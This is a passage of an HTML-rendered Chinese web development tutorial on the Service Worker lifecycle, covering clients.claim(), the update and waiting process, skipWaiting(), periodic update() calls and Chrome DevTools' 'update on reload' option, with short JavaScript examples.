&#x72B6;&#x6001;&#xFF0C;&#x76F4;&#x63A5;&#x6FC0;&#x6D3B;&#x4E86; Service Worker&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x51FA;&#x73B0;&#x5176;&#x4ED6;&#x7EC8;&#x7AEF;&#x8FD8;&#x6CA1;&#x6709;&#x53D7;&#x5F53;&#x524D;&#x7EC8;&#x7AEF;&#x6FC0;&#x6D3B;&#x7684; Service Worker &#x63A7;&#x5236;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x5207;&#x56DE;&#x5176;&#x4ED6;&#x7EC8;&#x7AEF;&#x4E4B;&#x540E;&#xFF0C;Service Worker &#x63A7;&#x5236;&#x9875;&#x9762;&#x7684;&#x6548;&#x679C;&#x53EF;&#x80FD;&#x4E0D;&#x7B26;&#x5408;&#x9884;&#x671F;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5982;&#x679C; Service Worker &#x9700;&#x8981;&#x52A8;&#x6001;&#x62E6;&#x622A;&#x7B2C;&#x4E09;&#x65B9;&#x8BF7;&#x6C42;&#x7684;&#x65F6;&#x5019;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x4FDD;&#x8BC1; Service Worker &#x6FC0;&#x6D3B;&#x4E4B;&#x540E;&#x80FD;&#x591F;&#x9A6C;&#x4E0A;&#x4F5C;&#x7528;&#x4E8E;&#x6240;&#x6709;&#x7684;&#x7EC8;&#x7AEF;&#xFF0C;&#x901A;&#x5E38;&#x5728;&#x6FC0;&#x6D3B; Service Worker &#x540E;&#xFF0C;&#x901A;&#x8FC7;&#x5728;&#x5176;&#x4E2D;&#x8C03;&#x7528; <code>self.clients.claim()</code> &#x65B9;&#x6CD5;&#x63A7;&#x5236;&#x672A;&#x53D7;&#x63A7;&#x5236;&#x7684;&#x5BA2;&#x6237;&#x7AEF;&#x3002;<code>self.clients.claim()</code> &#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; Promise&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5728; <code>waitUntil()</code> &#x65B9;&#x6CD5;&#x4E2D;&#x8C03;&#x7528;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>\n    self<span class=\"token punctuation\">.</span>clients<span class=\"token punctuation\">.</span><span class=\"token function\">claim</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token comment\">// &#x8FD4;&#x56DE;&#x5904;&#x7406;&#x7F13;&#x5B58;&#x66F4;&#x65B0;&#x7684;&#x76F8;&#x5173;&#x4E8B;&#x60C5;&#x7684; Promise</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x5F88;&#x591A;&#x5F00;&#x53D1;&#x8005;&#x9ED8;&#x8BA4;&#x5C31;&#x5728; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x4F7F;&#x7528; <code>self.clients.claim()</code>&#x3002;&#x4E0D;&#x5EFA;&#x8BAE;&#x8FD9;&#x4E48;&#x7EDD;&#x5BF9;&#xFF0C;&#x8FD8;&#x662F;&#x8981;&#x6839;&#x636E;&#x5177;&#x4F53;&#x9879;&#x76EE;&#x800C;&#x5B9A;&#xFF0C;&#x4E3B;&#x8981;&#x770B;&#x662F;&#x5426;&#x6709;&#x6FC0;&#x6D3B; Service Worker &#x4E4B;&#x540E;&#x9A6C;&#x4E0A;&#x63A7;&#x5236;&#x6240;&#x6709;&#x7EC8;&#x7AEF;&#x7684;&#x9700;&#x6C42;&#x3002;</p>\n</blockquote>\n<h2 id=\"service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\"><a name=\"service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\" class=\"plugin-anchor\" href=\"#service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x66F4;&#x65B0;&#x539F;&#x7406;</h2>\n<p>&#x5728;&#x8FD0;&#x884C; serviceWorkerLifecycleDemo &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E4B;&#x524D;&#x63D0;&#x5230;&#x8FC7;&#xFF0C;&#x5728;&#x6BCF;&#x6B21;&#x4FEE;&#x6539; Service Worker &#x6587;&#x4EF6;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5982;&#x679C;&#x9700;&#x8981;&#x5237;&#x65B0;&#x9875;&#x9762;&#x9A8C;&#x8BC1;&#x6548;&#x679C;&#xFF0C;&#x90FD;&#x5E94;&#x63D0;&#x524D;&#x5728; Chrome Devtools &#x4E2D;&#x624B;&#x52A8; unregister &#x5F53;&#x524D;&#x7684; Service Worker&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x56E0;&#x4E3A;&#x4FEE;&#x6539; Service Worker &#x6587;&#x4EF6;&#x90FD;&#x4F1A;&#x89E6;&#x53D1;&#x5176;&#x66F4;&#x65B0;&#xFF0C;&#x800C; Service Worker &#x7684;&#x66F4;&#x65B0;&#x8FC7;&#x7A0B;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#xFF0C;&#x4E3A;&#x4E86;&#x533A;&#x5206;&#x9996;&#x6B21;&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#x548C;&#x66F4;&#x65B0;&#x89E6;&#x53D1;&#x7684;&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#xFF0C;&#x4FDD;&#x8BC1;&#x6548;&#x679C;&#x7684;&#x4E00;&#x81F4;&#x6027;&#xFF0C;&#x6240;&#x4EE5;&#x624D;&#x6709;&#x6B64;&#x5EFA;&#x8BAE;&#x3002;&#x90A3;&#x63A5;&#x4E0B;&#x6765;&#x91CD;&#x70B9;&#x5730;&#x8BB2;&#x89E3;&#x4E00;&#x4E0B; Service Worker &#x7684;&#x66F4;&#x65B0;&#x539F;&#x7406;&#xFF0C;&#x770B;&#x770B;&#x91CC;&#x9762;&#x5230;&#x5E95;&#x6709;&#x4EC0;&#x4E48;&#x95E8;&#x9053;&#x3002;</p>\n<p>&#x4FEE;&#x6539; serviceWorkerLifecycleDemo &#x7684; <code>index.html</code> &#x4E2D;&#x6CE8;&#x518C; <code>sw.js</code> &#x90E8;&#x5206;&#x7684;&#x903B;&#x8F91;&#xFF0C;&#x7528;&#x4E8E;&#x89E6;&#x53D1; Service Worker &#x7684;&#x66F4;&#x65B0;&#xFF08;&#x5F53;&#x7136;&#x4E5F;&#x53EF;&#x4EE5;&#x4FEE;&#x6539; Service Worker &#x6587;&#x4EF6;&#x7684;&#x67D0;&#x4E9B;&#x5185;&#x5BB9;&#xFF09;&#xFF0C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x89E6;&#x53D1; Service Worker &#x7684;&#x66F4;&#x65B0;</span>\nnavigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;./sw.js?v=20190401235959&apos;</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5237;&#x65B0;&#x9875;&#x9762;&#x4E4B;&#x540E;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370;&#x7684;&#x5185;&#x5BB9;&#x53EA;&#x6709; <code>&#x6CE8;&#x518C;&#x6210;&#x529F;</code>&#xFF0C;&#x8BF4;&#x660E;&#x66F4;&#x65B0; Service Worker &#x4F1A;&#x91CD;&#x65B0;&#x89E3;&#x6790;&#x6267;&#x884C; Service Worker &#x7684; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x4F1A;&#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x56DE;&#x8C03;&#xFF0C;&#x4F46;&#x662F;&#x6CA1;&#x6709;&#x5B8C;&#x6210;&#x6FC0;&#x6D3B;&#x3002;&#x67E5;&#x770B; Chrome Devtools &#x7684; Service Worker &#x9762;&#x677F;&#x53D1;&#x73B0; Service Worker &#x786E;&#x5B9E;&#x5361;&#x5728;&#x6FC0;&#x6D3B;&#x72B6;&#x6001;&#x4E86;&#xFF0C;&#x72B6;&#x6001;&#x4E3A; <code>waiting to activate</code>&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/service_worker_update_waiting.png\" alt=\"Service Worker &#x66F4;&#x65B0; waiting &#x72B6;&#x6001;\"></p>\n<p>&#x8FD9;&#x5C31;&#x662F;&#x66F4;&#x65B0; Service Worker &#x548C;&#x9996;&#x6B21;&#x5B89;&#x88C5; Service Worker &#x7684;&#x4E00;&#x4E2A;&#x533A;&#x522B;&#x6240;&#x5728;&#x3002;&#x4E0B;&#x9762;&#x901A;&#x8FC7;&#x4E0B;&#x56FE;&#x4E86;&#x89E3;&#x4E00;&#x4E0B; Service Worker &#x66F4;&#x65B0;&#x7684;&#x539F;&#x7406;&#x3002;</p>\n<p><img src=\"img/service_worker_update_process.png\" alt=\"Service Worker &#x66F4;&#x65B0;&#x539F;&#x7406;\"></p>\n<p>&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x76D1;&#x6D4B;&#x5230;&#x65B0;&#x7684; Service Worker &#x66F4;&#x65B0;&#x4E4B;&#x540E;&#xFF0C;&#x4F1A;&#x91CD;&#x65B0;&#x8FDB;&#x884C;&#x6CE8;&#x518C;&#x3001;&#x5B89;&#x88C5;&#xFF0C;&#x5F53;&#x68C0;&#x6D4B;&#x5230;&#x5F53;&#x524D;&#x7684;&#x9875;&#x9762;&#x88AB;&#x6FC0;&#x6D3B;&#x6001;&#x7684; Service Worker &#x63A7;&#x5236;&#x7740;&#x7684;&#x8BDD;&#xFF0C;&#x4F1A;&#x8FDB;&#x5165; waiting &#x72B6;&#x6001;&#xFF0C;&#x4E4B;&#x540E;&#x53EF;&#x4EE5;&#x6709;&#x4E24;&#x79CD;&#x9009;&#x62E9;&#xFF1A;</p>\n<ol>\n<li>&#x901A;&#x8FC7; skipWaiting &#x8DF3;&#x8FC7; waiting &#x72B6;&#x6001;</li>\n<li>&#x5728;&#x6240;&#x6709;&#x7EC8;&#x7AEF;&#x4FDD;&#x6301; waiting &#x72B6;&#x6001;&#xFF0C;&#x76F4;&#x5230; Service Worker &#x5BF9;<strong>&#x6240;&#x6709;</strong>&#x7EC8;&#x7AEF;&#x5931;&#x53BB;&#x63A7;&#x5236;&#xFF08;&#x5173;&#x95ED;&#x6240;&#x6709;&#x7EC8;&#x7AEF;&#x7684;&#x65F6;&#x5019;&#xFF09;</li>\n</ol>\n<p>&#x901A;&#x8FC7;&#x8FD0;&#x884C; serviceWorkerLifecycleDemo &#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF0C;&#x5C06;&#x4E4B;&#x524D;&#x542F;&#x52A8;&#x7684;&#x4E09;&#x4E2A;&#x7EC8;&#x7AEF;&#x5168;&#x90E8;&#x5173;&#x95ED;&#x6389;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x65B0;&#x5F00;&#x4E00;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x6253;&#x5F00; <code>http://127.0.0.1:8000</code> &#x4E4B;&#x540E;&#xFF0C;&#x4F1A;&#x53D1;&#x73B0;&#x65B0;&#x7684; Service Worker &#x5DF2;&#x7ECF;&#x6FC0;&#x6D3B;&#x6210;&#x529F;&#x3002;</p>\n<p>&#x8FD8;&#x53EF;&#x4EE5;&#x6709;&#x53E6;&#x5916;&#x4E00;&#x79CD;&#x65B9;&#x6CD5;&#xFF0C;&#x5C31;&#x662F;&#x5728; Chrome Devtools &#x4E2D;&#x70B9;&#x51FB; &#x201C;<strong>skipWaiting</strong>&#x201D; &#x6309;&#x94AE;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x4F1A;&#x53D1;&#x73B0; Service Worker &#x76F4;&#x63A5;&#x8FDB;&#x5165;&#x4E86;&#x6FC0;&#x6D3B;&#x72B6;&#x6001;&#xFF08;&#x53CD;&#x590D;&#x6D4B;&#x8BD5; Demo&#xFF0C;&#x8BB0;&#x5F97;&#x4FEE;&#x6539; Service Worker &#x5185;&#x5BB9;&#x6216; URL &#x4EE5;&#x89E6;&#x53D1; Service Worker &#x7684;&#x66F4;&#x65B0;&#xFF09;&#x3002;</p>\n<h3 id=\"skipwaiting\"><a name=\"skipwaiting\" class=\"anchor-navigation-ex-anchor\" href=\"#skipwaiting\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"skipwaiting\" class=\"plugin-anchor\" href=\"#skipwaiting\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>skipWaiting</h3>\n<p>Service Worker &#x4E00;&#x65E6;&#x66F4;&#x65B0;&#xFF0C;&#x9700;&#x8981;&#x7B49;&#x6240;&#x6709;&#x7684;&#x7EC8;&#x7AEF;&#x90FD;&#x5173;&#x95ED;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x91CD;&#x65B0;&#x6253;&#x5F00;&#x9875;&#x9762;&#x624D;&#x80FD;&#x6FC0;&#x6D3B;&#x65B0;&#x7684; Service Worker&#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x592A;&#x590D;&#x6742;&#x4E86;&#x3002;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5E0C;&#x671B;&#x5F53; Service Worker &#x4E00;&#x68C0;&#x6D4B;&#x5230;&#x66F4;&#x65B0;&#x5C31;&#x76F4;&#x63A5;&#x6FC0;&#x6D3B;&#x65B0;&#x7684; Service Worker&#x3002;&#x5982;&#x679C;&#x4E0D;&#x60F3;&#x7B49;&#x6240;&#x6709;&#x7684;&#x7EC8;&#x7AEF;&#x90FD;&#x5173;&#x95ED;&#x518D;&#x6253;&#x5F00;&#x7684;&#x8BDD;&#xFF0C;&#x53EA;&#x80FD;&#x901A;&#x8FC7; skipWaiting &#x7684;&#x65B9;&#x6CD5;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x603B;&#x4E0D;&#x80FD;&#x8BA9;&#x7528;&#x6237;&#x81EA;&#x5DF1;&#x53BB;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x70B9;&#x51FB; &#x201C;skipWaiting&#x201D; &#x6309;&#x94AE;&#x5427;&#xFF1F;</p>\n<p>Service Worker &#x5728;&#x5168;&#x5C40;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A; <code>skipWaiting()</code> &#x65B9;&#x6CD5;&#xFF0C;<code>skipWaiting()</code> &#x5728; waiting &#x671F;&#x95F4;&#x8C03;&#x7528;&#x8FD8;&#x662F;&#x5728;&#x4E4B;&#x524D;&#x8C03;&#x7528;&#x5E76;&#x6CA1;&#x6709;&#x4EC0;&#x4E48;&#x4E0D;&#x540C;&#x3002;&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x4E0B;&#x662F;&#x5728; install &#x4E8B;&#x4EF6;&#x4E2D;&#x8C03;&#x7528;&#x5B83;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x9A8C;&#x8BC1;&#x4E00;&#x4E0B;&#x6548;&#x679C;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x7684;&#x65B9;&#x5F0F;&#x4FEE;&#x6539; <code>sw.js</code> &#x4EE3;&#x7801;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// sw.js</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6CE8;&#x518C;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x8DF3;&#x8FC7;&#x7B49;&#x5F85;</span>\n  self<span class=\"token punctuation\">.</span><span class=\"token function\">skipWaiting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5F15;&#x5165; event.waitUntil &#x65B9;&#x6CD5;</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6A21;&#x62DF; promise &#x8FD4;&#x56DE;&#x9519;&#x8BEF;&#x7ED3;&#x679C;&#x7684;&#x60C5;&#x51B5;</span>\n    <span class=\"token comment\">// reject(&apos;&#x5B89;&#x88C5;&#x51FA;&#x9519;&apos;)</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5B89;&#x88C5;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x5B89;&#x88C5;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6FC0;&#x6D3B;&#x56DE;&#x8C03;&#x7684;&#x903B;&#x8F91;&#x5904;&#x7406;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6FC0;&#x6D3B;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: &apos;</span> <span class=\"token operator\">+</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x901A;&#x8FC7;&#x8C03;&#x7528; <code>skipWaiting()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x8FD0;&#x884C; Demo &#x4E4B;&#x540E;&#x5237;&#x65B0;&#x4EFB;&#x4F55;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x4F1A;&#x53D1;&#x73B0;&#xFF0C;&#x65B0;&#x7684; Service Worker &#x88AB;&#x6FC0;&#x6D3B;&#x4E86;&#x3002;&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x4E5F;&#x88AB;&#x666E;&#x904D;&#x5E94;&#x7528;&#x5728; Service Worker &#x7684;&#x66F4;&#x65B0;&#x7B56;&#x7565;&#x4E2D;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x4E3A;&#x4E86;&#x8BA9;&#x7528;&#x6237;&#x80FD;&#x591F;&#x6700;&#x5FEB;&#x7684;&#x4F53;&#x9A8C;&#x5230;&#x7AD9;&#x70B9;&#x7684;&#x5347;&#x7EA7;&#x548C;&#x53D8;&#x5316;&#x3002;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\nskipWaiting() &#x610F;&#x5473;&#x7740;&#x65B0; Service Worker &#x53EF;&#x80FD;&#x4F1A;&#x63A7;&#x5236;&#x4F7F;&#x7528;&#x8F83;&#x65E7; Service Worker &#x63A7;&#x5236;&#x7684;&#x9875;&#x9762;&#x3002;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x9875;&#x9762;&#x63D0;&#x53D6;&#x7684;&#x90E8;&#x5206;&#x6570;&#x636E;&#x5C06;&#x7531;&#x65E7; Service Worker &#x5904;&#x7406;&#xFF0C;&#x800C;&#x65B0; Service Worker &#x5904;&#x7406;&#x540E;&#x6765;&#x63D0;&#x53D6;&#x7684;&#x6570;&#x636E;&#x3002;&#x5982;&#x679C;&#x9884;&#x671F;&#x5230;&#x7F13;&#x5B58;&#x6570;&#x636E;&#x4E0D;&#x4E00;&#x81F4;&#x7684;&#x73B0;&#x8C61;&#x4F1A;&#x5BFC;&#x81F4;&#x95EE;&#x9898;&#xFF0C;&#x5219;&#x4E0D;&#x8981;&#x4F7F;&#x7528; skipWaiting() &#x8DF3;&#x8FC7; waiting &#x72B6;&#x6001;&#x3002;</p>\n</blockquote>\n<h3 id=\"&#x624B;&#x52A8;&#x66F4;&#x65B0;\"><a name=\"&#x624B;&#x52A8;&#x66F4;&#x65B0;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x624B;&#x52A8;&#x66F4;&#x65B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x624B;&#x52A8;&#x66F4;&#x65B0;\" class=\"plugin-anchor\" href=\"#&#x624B;&#x52A8;&#x66F4;&#x65B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x624B;&#x52A8;&#x66F4;&#x65B0;</h3>\n<p>&#x5F53;&#x5237;&#x65B0;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x6267;&#x884C; register &#x65B9;&#x6CD5;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x68C0;&#x6D4B;&#x5230; Service Worker &#x6587;&#x4EF6;&#x66F4;&#x65B0;&#x5C31;&#x4F1A;&#x89E6;&#x53D1; Service Worker &#x66F4;&#x65B0;&#xFF0C;&#x4F46;&#x662F;&#x5982;&#x679C;&#x7AD9;&#x70B9;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x540E;&#x53F0;&#x957F;&#x65F6;&#x95F4;&#x6CA1;&#x6709;&#x88AB;&#x5237;&#x65B0;&#xFF0C;&#x5219;&#x6D4F;&#x89C8;&#x5668;&#x5C06;&#x81EA;&#x52A8;&#x68C0;&#x67E5;&#x66F4;&#x65B0;&#xFF0C;&#x901A;&#x5E38;&#x662F;&#x6BCF;&#x9694; 24 &#x5C0F;&#x65F6;&#x68C0;&#x67E5;&#x4E00;&#x6B21;&#xFF0C;&#x4F46;&#x662F; 24 &#x5C0F;&#x65F6;&#x4E5F;&#x592A;&#x957F;&#x4E86;&#xFF0C;&#x6240;&#x4EE5;&#x4E5F;&#x53EF;&#x4EE5;&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#x624B;&#x52A8;&#x89E6;&#x53D1;&#x66F4;&#x65B0;&#xFF0C;&#x901A;&#x5E38;&#x505A;&#x6CD5;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/sw.js&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">reg</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setInterval</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      reg<span class=\"token punctuation\">.</span><span class=\"token function\">update</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">60</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span> <span class=\"token operator\">*</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x5F00;&#x53D1;&#x8005;&#x671F;&#x671B;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x957F;&#x65F6;&#x95F4;&#x4F7F;&#x7528;&#x60A8;&#x7684;&#x7F51;&#x7AD9;&#x800C;&#x4E0D;&#x5FC5;&#x91CD;&#x65B0;&#x52A0;&#x8F7D;&#xFF0C;&#x60A8;&#x9700;&#x8981;&#x6309;&#x4E00;&#x5B9A;&#x95F4;&#x9694;&#xFF08;&#x5982;&#x6BCF;&#x5C0F;&#x65F6;&#xFF09;&#x8C03;&#x7528; <code>update()</code> &#x65B9;&#x6CD5;&#x3002;</p>\n<h3 id=\"update-on-reload\"><a name=\"update-on-reload\" class=\"anchor-navigation-ex-anchor\" href=\"#update-on-reload\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"update-on-reload\" class=\"plugin-anchor\" href=\"#update-on-reload\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>update on reload</h3>\n<p>Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x662F;&#x4E13;&#x4E3A;&#x7528;&#x6237;&#x6784;&#x5EFA;&#x7684;&#xFF0C;&#x8FD9;&#x5C31;&#x7ED9;&#x5F00;&#x53D1;&#x5DE5;&#x4F5C;&#x5E26;&#x6765;&#x4E00;&#x5B9A;&#x7684;&#x56F0;&#x96BE;&#x3002;&#x5E78;&#x8FD0;&#x7684;&#x662F;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x501F;&#x52A9; Chrome &#x7684; Devtools &#x7684; &#x201C;update on reload&#x201D; &#x529F;&#x80FD;&#xFF0C;&#x5728;&#x5F00;&#x53D1;&#x8C03;&#x8BD5; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x65F6;&#x5019;&#x975E;&#x5E38;&#x53CB;&#x597D;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_update_on_reload.png\" alt=\"Service Worker update on reload &#x529F;&#x80FD;\"></p>\n<p>&#x901A;&#x8FC7; update on reload &#x529F;&#x80FD;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x505A;&#x5230;&#x4EE5;&#x4E0B;&#x51E0;&#x70B9;&#xFF1A;</p>\n<ol>\n<li>&#x91CD;&#x65B0;&#x63D0;&#x53D6; Service Worker&#x3002;</li>\n<li>&#x5373;&#x4F7F;&#x5B57;&#x8282;&#x5B8C;&#x5168;&#x76F8;&#x540C;&#xFF0C;&#x4E5F;&#x5C06;&#x5176;&#x4F5C;&#x4E3A;&#x65B0;&#x7248;&#x672C;&#x5B89;&#x88C5;&#xFF0C;&#x8FD9;&#x8868;&#x793A;&#x8FD0;&#x884C; install &#x4E8B;&#x4EF6;&#x5E76;&#x66F4;&#x65B0;&#x7F13;&#x5B58;&#x3002;</li>\n<li>&#x8DF3;&#x8FC7; waiting &#x9636;&#x6BB5;&#xFF0C;&#x76F4;&#x63A5;&#x6FC0;&#x6D3B;&#x65B0; Service 